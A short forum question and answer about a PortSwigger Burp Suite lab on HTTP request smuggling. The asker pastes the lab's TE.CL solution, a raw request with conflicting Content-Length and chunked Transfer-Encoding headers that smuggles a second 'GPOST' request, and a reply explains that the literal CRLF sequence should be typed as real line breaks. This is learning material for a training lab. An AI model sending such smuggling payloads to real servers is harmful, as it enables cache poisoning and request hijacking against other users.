HTTP request smuggling, basic TE.CL vulnerability

Question

Im trying to learn about http request smuggling and Im trying out the labs for burp suite. Im stuck on the TE.CL vulnerability, Ive clicked on the solution (see below:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl) but the request just times out. Ive disabled 'update content length' and changed out mylabid with the current lab id. Is there another setting I am missing?

POST / HTTP/1.1
Host: mylabid.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n\r\n

Answer 1

The "\r\n\r\n" words. It's like the image, it's interpreted, not written